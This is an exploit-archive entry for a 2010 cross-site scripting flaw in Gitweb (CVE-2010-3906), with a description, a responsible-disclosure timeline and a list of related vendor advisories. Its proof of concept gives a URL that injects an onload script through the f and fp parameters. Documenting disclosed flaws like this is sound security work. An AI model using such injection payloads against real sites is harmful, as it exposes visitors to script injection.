Lucene search
Emgent1337DAY-ID-15194HistoryDec 16, 2010 - 12:00 a.m.
Gitweb <=1.7.3.3 Cross Site Scripting
2010-12-1600:00:00
emgent
0day.today
11
Exploit for cgi platform in category web applications
>-8 Description 8-<
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.
>-8 Proof Of Concept 8-<
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] => "><body onload="alert('xss')"> <a
>-8 Credits 8-<
Emanuele 'emgent' Gentili <[email protected]>
>-8 Responsible Disclosure 8-<
13-12-2010 Initial contact with upstream and vendor-sec
13-12-2010 Vendor Response and CVE-2010-3906 assignation
15-12-2010 Public Disclosure
# 0day.today [2018-01-01] #Related
openvas
openvas
Fedora Update for git FEDORA-2010-18973
2011-01-11 00:00:00
Mandriva Update for git MDVSA-2010:256 (git)
2010-12-28 00:00:00
Fedora Update for git FEDORA-2010-18981
2010-12-28 00:00:00
altlinux
altlinux
Security fix for the ALT Linux 5 package git version 1.7.3.5-alt0.M50P.1
2011-01-20 00:00:00
Security fix for the ALT Linux 5 package git version 1.7.3.4-alt1
2010-12-16 00:00:00
Security fix for the ALT Linux 10 package git version 1.7.3.4-alt1
2010-12-16 00:00:00
packetstorm
packetstorm
Gitweb 1.7.3.3 Cross Site Scripting
2010-12-16 00:00:00
debiancve
debiancve
CVE-2010-3906
2010-12-17 19:00:20
prion
prion
Cross site scripting
2010-12-17 19:00:00
nessus
nessus
RHEL 6 : git (RHSA-2010:1003)
2010-12-22 00:00:00
Git gitweb Multiple Parameter XSS
2010-12-23 00:00:00
Oracle Linux 6 : git (ELSA-2010-1003)
2013-07-12 00:00:00
fedora
fedora
[SECURITY] Fedora 14 Update: git-1.7.3.4-1.fc14
2010-12-23 19:57:37
[SECURITY] Fedora 13 Update: git-1.7.3.4-1.fc13
2011-01-03 20:00:05
debian
debian
[BSA-024] Security Update for git
2011-02-14 09:09:06
cve
cve
CVE-2010-3906
2010-12-17 19:00:20
oraclelinux
oraclelinux
git security update
2011-02-10 00:00:00
git security update
2013-03-04 00:00:00
exploitpack
exploitpack
gitWeb 1.7.3.3 - Cross-Site Scripting
2010-12-15 00:00:00
nvd
nvd
CVE-2010-3906
2010-12-17 19:00:20
cvelist
cvelist
CVE-2010-3906
2010-12-17 18:00:00
ubuntucve
ubuntucve
CVE-2010-3906
2010-12-17 00:00:00
seebug
seebug
Gitweb <= 1.7.3.3 - Cross Site Scripting
2014-07-01 00:00:00
redhat
redhat
(RHSA-2010:1003) Moderate: git security update
2010-12-21 00:00:00
exploitdb
exploitdb
gitWeb 1.7.3.3 - Cross-Site Scripting
2010-12-15 00:00:00
Related for 1337DAY-ID-15194